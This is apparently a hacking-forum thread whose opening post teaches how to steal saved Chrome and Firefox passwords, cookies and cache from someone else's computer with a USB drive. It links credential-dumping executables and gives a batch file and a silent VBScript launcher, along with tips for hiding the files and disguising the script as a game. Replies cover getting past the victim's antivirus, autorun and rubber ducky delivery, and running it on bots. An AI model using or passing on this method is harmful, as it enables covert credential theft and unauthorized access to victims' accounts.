~ STEAL ALL CHROME & FIREFOX PASSWORDS WITH A USB ~

Hey guys, Im going to show you how to steal all Google Chrome & Firefox passwords for any computer you have physical access to.

Luckily, this only takes a couple of seconds and runs silently in the background so once you execute the program you can't tell if it was open or not!Anyways, lets get started!

Step 1: Download the .exe files for either chrome or firefox, or both & copy them onto your USB

Chrome: - <http://www.mediafire.com/download/vvaa02wsvfamkod/ChromePassword.exe>

Firefox: - <http://www.mediafire.com/download/8q23w79933bwc96/FireFoxPass.exe>

Of course these are programs that steal the cookies, cache, and stored passwords from the browser, so your Anti-Virus might go off as outbound traffic detected or along the lines of that.

If your AV also doesn't let you download the programs, add an exception & restore. These are completely clean files and they are not mine. But If someone could scan and vouch that these are clean that would be great

Step 2: Create a new text document and copy and paste this code:

Quote:start chromepass.exe /stext chromepass.txt

start passwordfox.exe /stext passwordfox.txt

then save the text document as a batch file, for example: example.bat. This code will run the programs and create the text files full of the passwords.

Step 3: Create another text document and copy and paste this code:

Quote:CreateObject("Wscript.Shell").Run "Your-Batch-File-Name-Here.bat", 0, True

Make sure to replace "Your-Batch-File-Name-Here.bat" with the name you previously save your batch file as. Then save this new text document as a VBScript, for example: example.vbs

- HOW TO RUN -

Click on the VBScript and run it, nothing should popup and eventually you will get a new text document with either all your chrome passwords, or firefox passwords. Note that it has a lot of old passwords in them also.

So thats how to steal the passwords and get them into readable text files.very simple and the best part about it, it's fully portable and is super silent so you can not tell it's running at all!

IMPORTANT TIPS

To clean up so your USB doesn't show all the executables you have, make all the files except for the vbs script hidden. To do this, you will need to search how to do it on your particular Operating

System. For Windows 8, Right Click the file > Click Properties > Then Under Attributes select "Hidden" This will hide the files as long as the view in windows explorer is not set to see hidden files (which by default is set).

Another tip is to change the VBS icon and name, change the name to whatever you want that sounds like a game, or program. Then change the icon of the script, search on google how to do this on your OS.

----- ANYWAYS I HOPE YOU ENJOYED THE
TUTORIAL, ENJOY!

TheJ?Ker - March 5, 2016, 4:17 am

Seems like a nice tutorial , nice OP , thanks!

Lmao what the hell dude?
Why are you trashing the OPs thread.

Not trashing his thread, I have done business with OP before, great tutorial OP.

But my problem is with you, and how you have scammed and are not paying me back my \$85 btc.

(Mar 5, 2016 05:33 AM)Firox™ Wrote: [\[CITE\]](#) I have never even spoke to you, you are a liar xD
Never done business at all either

No it's works on all Windows Operating Systems :D

If our skype conversation would help you remember, I will send it to you.

Travis Bickle - March 5, 2016, 4:39 am

Yes, I change my skype account. I can show you proof if you can't remember, just PM me, but next time don't call me a liar.

Who's are they? Where did you get them from?

Hopsin - March 5, 2016, 6:04 am

Thank you very much. Much appreciated mate!

PanicAttack4299 - March 5, 2016, 12:33 pm

Great share. Love this method!

Chan Wong - March 5, 2016, 12:35 pm

I would love something I can run on my bots and easily get the info back to me!

Sorry for posting this here, but stoic is now PMing people haha. He just PM'd mister trying to scam him, nice try.

brutaliner - March 6, 2016, 9:37 am

Nice method man. Thank you

Tesssa - March 6, 2016, 7:26 pm

This is a nice guide, but just curious, will the victim's PC AV alert him?

?Xe - March 8, 2016, 6:53 pm

(Mar 6, 2016 08:26 PM)Tesssa Wrote: [\[CITE\]](#) This is a nice guide, but just curious, will the victim's PC AV alert him?

No it won't, as long as it stays on the USB. Some AV might remove it, but because you have access to the machine [Assuming your using a USB] you can quickly disable, get all the shit, then re-enable :P

Dark Aveng3r - March 9, 2016, 12:59 am

hmm nice one but my antivirus and my browser is not going to download this!

?Xe - March 9, 2016, 1:41 am

(Mar 9, 2016 01:59 AM)Dark Aveng3r Wrote: [\[CITE\]](#) hmm nice one but my antivirus and my browser is not going to download this!

Hmm, weird, disable your AV and download it through another browser, then put it on a USB and turn everything back on. If you don't trust the file, make a virtual machine of Windows and download it that way so you are safe, or if you really don't trust the program, don't download :P <3

BeakerShell - March 9, 2016, 2:54 am

Any possible way to make the whole thing works the moment the usb was connected onto a pc? like autorun thingy.

SeraphsEmbrace - March 9, 2016, 2:55 am

This is some skid shit if I've ever seen it.

?Xe - March 9, 2016, 6:28 am

(Mar 9, 2016 03:55 AM)Prodigy? Wrote: [\[CITE\]](#) This is some skid shit if I've ever seen it. Please explain how it is? Because it's not at all, very helpful & fun to play around with.

(Mar 9, 2016 03:54 AM)BeakerShell Wrote: [\[CITE\]](#) Any possible way to make the whole thing works the moment the usb was connected onto a pc? like autorun thingy.

Yes, search up how to make autorun.inf setups for USB's. Im not sure but I think it doesn't work on Windows anymore because it's firewall blocks it or something, not quite sure, but research it and find out [Not a Windows Guy thats why] :P

gaidenukstiskrv - April 4, 2017, 7:59 am

hey, does it work if there are multiple users on pc? will it get all of the passwords or only the users
Im logged in?

f0rb3s - April 5, 2017, 12:05 am

You can even advance it, rubber ducky method :) no need to click

SomebodyThatYouUsedToKnow - April 6, 2017, 5:28 am

I cant download the files anymore! Could you please help me?

TestKroket2 - April 7, 2017, 12:29 pm

Yeah this file was erased from mediafire so it's all over untill someone doesn't reload it.

Decim - April 9, 2017, 9:29 am

Why would it get detected as outbound traffic if you're just copying the files to the USB drive?

Also, what would happen if the profile has a master password set, does it try to bruteforce it or is
there some kind of workaround?
